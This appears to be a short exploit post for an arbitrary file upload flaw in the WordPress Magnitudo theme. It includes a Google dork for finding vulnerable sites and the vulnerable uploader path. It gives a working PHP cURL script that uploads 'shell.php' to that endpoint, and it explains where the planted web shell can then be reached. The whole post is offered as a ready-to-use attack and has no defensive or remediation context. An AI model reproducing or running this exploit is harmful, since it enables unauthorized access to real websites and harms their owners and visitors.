WordPress Magnitudo Themes Arbitary

"WordPress Magnitudo Themes Arbitary"

Google Dork : /wp-content/themes/magnitudo/
Exploit : /framework/_scripts/valums_uploader/php.php
Shell Access : http://localhost/wp-content/uploads/[years]/[month] ( sesuai path )


Exploit : 
<?php
$uploadfile="shell.php";
$ch = curl_init("http://localhost/wp-content/themes/magnitudo/framework/_scripts/valums_uploader/php.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Download Tutorial - Magnitudo Themes Arbitary
Created by Latunusa